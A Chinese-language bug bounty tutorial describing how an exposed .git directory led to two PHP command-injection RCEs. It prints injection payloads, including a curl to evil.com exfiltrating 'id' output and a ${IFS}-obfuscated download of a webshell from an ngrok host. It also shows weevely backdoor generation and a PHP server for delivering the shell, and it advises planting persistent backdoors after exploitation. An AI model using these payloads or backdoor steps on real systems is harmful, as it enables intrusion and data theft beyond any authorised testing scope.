关于我如何赚取漏洞赏金的那些事
字数 887 2025-08-10 23:41:56

漏洞赏金实战教学:从.git泄露到RCE漏洞挖掘

1. 侦察阶段工具链

侦察是漏洞挖掘的第一步,作者使用了一套高效的自动化工具链:

amass enum -active -d $1 -brute -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o amass.txt
cat amass.txt | aquatone -ports xlarge -out aqua_$1
nuclei -l aqua_$1/aquatone_urls.txt -t ~/nuclei-templates -es info -o nuclei_$1.txt

工具说明

  • amass:用于子域名枚举
  • aquatone:可视化子域名扫描结果
  • nuclei:快速漏洞扫描器,使用预定义模板

2. .git目录泄露利用

发现暴露的.git目录后,使用git-dumper工具下载源代码:

git-dumper http://example.com/.git/ output

关键点

  • 源代码审计是发现逻辑漏洞的关键
  • 重点关注敏感函数调用和用户输入处理

3. RCE漏洞发现与利用

3.1 第一类RCE漏洞

漏洞特征

  • 使用shell_exec()函数调用本地bash脚本
  • 用户输入未经过滤直接拼接
  • 存在硬编码密钥的简单验证

利用步骤

  1. 构造恶意请求:
http://example.com/ftp-upload/sync.php?deluser=someuser&secret1=[secret1]&secret2=[sha1 encoded secret2]
  1. 注入点:deluser参数
  2. 验证漏洞:
someusr;curl https://evil.com/ $(id|base64|tr -d "\n")
  1. 上传Webshell:
    • 使用weevely生成PHP后门
    • 通过curl传输到服务器可写目录

3.2 第二类RCE漏洞(更复杂)

漏洞特征

  • 通过目录创建功能实现RCE
  • 使用@exec()函数处理目录内容
  • 用户输入通过空格分隔可创建自定义目录

利用步骤

  1. 创建包含payload的目录:
http://example.com/ftp-upload/sync.php?adduser=test%20somename&secret1=[secret1]&secret2=[secret2]
  1. 绕过空格限制:使用${IFS}代替空格
  2. 最终payload:
`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php`
  1. 触发漏洞:访问testSize.php执行代码

4. 代码审计技巧

使用grep快速定位潜在漏洞:

# 跨站脚本
grep -Ri "\$_GET" . | grep "echo"
grep -Ri "\$_POST" . | grep "echo"

# 命令执行
grep -Ri "shell_exec(" .
grep -Ri "system(" .

# 代码执行
grep -Ri "eval(" .
grep -Ri "preg_replace" . | grep "/e"

# SQL注入
grep -Ri "\$sql" . | grep "\$_"

# 文件包含
grep -Ri "include(" . | grep "\$_"

5. Webshell上传技巧

  1. 使用weevely生成后门:
weevely generate 123pass shell.txt
  1. 创建下载服务器(index.php):
<?php
$attachment_location = "shell.txt";
if (file_exists($attachment_location)) {
    header($_SERVER["SERVER_PROTOCOL"] . " 200 OK");
    header("Content-Type: plane/text");
    header("Content-Length:".filesize($attachment_location));
    header("Content-Disposition: attachment; filename=shell.php");
    readfile($attachment_location);
    die();
}
  1. 使用ngrok建立隧道:
ngrok http -subdomain=rce 8889

6. 经验总结

  1. 自动化侦察工具能大幅提高效率
  2. 源代码审计是发现高质量漏洞的关键
  3. 关注用户输入与敏感函数的交互
  4. 绕过过滤需要创造性思维(如${IFS}代替空格)
  5. 漏洞利用后及时上传持久化后门
  6. 详细记录漏洞利用过程有助于报告撰写

赏金截图

  • 第一个漏洞:$10,000
  • 第二个漏洞:$3,000

7. 参考资源

  1. 10,000 Bounty for Exposed .git to RCE
  2. Hardcore RCE via Directory Name for $3,000
漏洞赏金实战教学:从.git泄露到RCE漏洞挖掘 1. 侦察阶段工具链 侦察是漏洞挖掘的第一步,作者使用了一套高效的自动化工具链: 工具说明 : amass :用于子域名枚举 aquatone :可视化子域名扫描结果 nuclei :快速漏洞扫描器,使用预定义模板 2. .git目录泄露利用 发现暴露的.git目录后,使用 git-dumper 工具下载源代码: 关键点 : 源代码审计是发现逻辑漏洞的关键 重点关注敏感函数调用和用户输入处理 3. RCE漏洞发现与利用 3.1 第一类RCE漏洞 漏洞特征 : 使用 shell_exec() 函数调用本地bash脚本 用户输入未经过滤直接拼接 存在硬编码密钥的简单验证 利用步骤 : 构造恶意请求: 注入点: deluser 参数 验证漏洞: 上传Webshell: 使用 weevely 生成PHP后门 通过curl传输到服务器可写目录 3.2 第二类RCE漏洞(更复杂) 漏洞特征 : 通过目录创建功能实现RCE 使用 @exec() 函数处理目录内容 用户输入通过空格分隔可创建自定义目录 利用步骤 : 创建包含payload的目录: 绕过空格限制:使用 ${IFS} 代替空格 最终payload: 触发漏洞:访问 testSize.php 执行代码 4. 代码审计技巧 使用grep快速定位潜在漏洞: 5. Webshell上传技巧 使用 weevely 生成后门: 创建下载服务器(index.php): 使用ngrok建立隧道: 6. 经验总结 自动化侦察工具能大幅提高效率 源代码审计是发现高质量漏洞的关键 关注用户输入与敏感函数的交互 绕过过滤需要创造性思维(如 ${IFS} 代替空格) 漏洞利用后及时上传持久化后门 详细记录漏洞利用过程有助于报告撰写 赏金截图 : 第一个漏洞:$10,000 第二个漏洞:$3,000 7. 参考资源 10,000 Bounty for Exposed .git to RCE Hardcore RCE via Directory Name for $3,000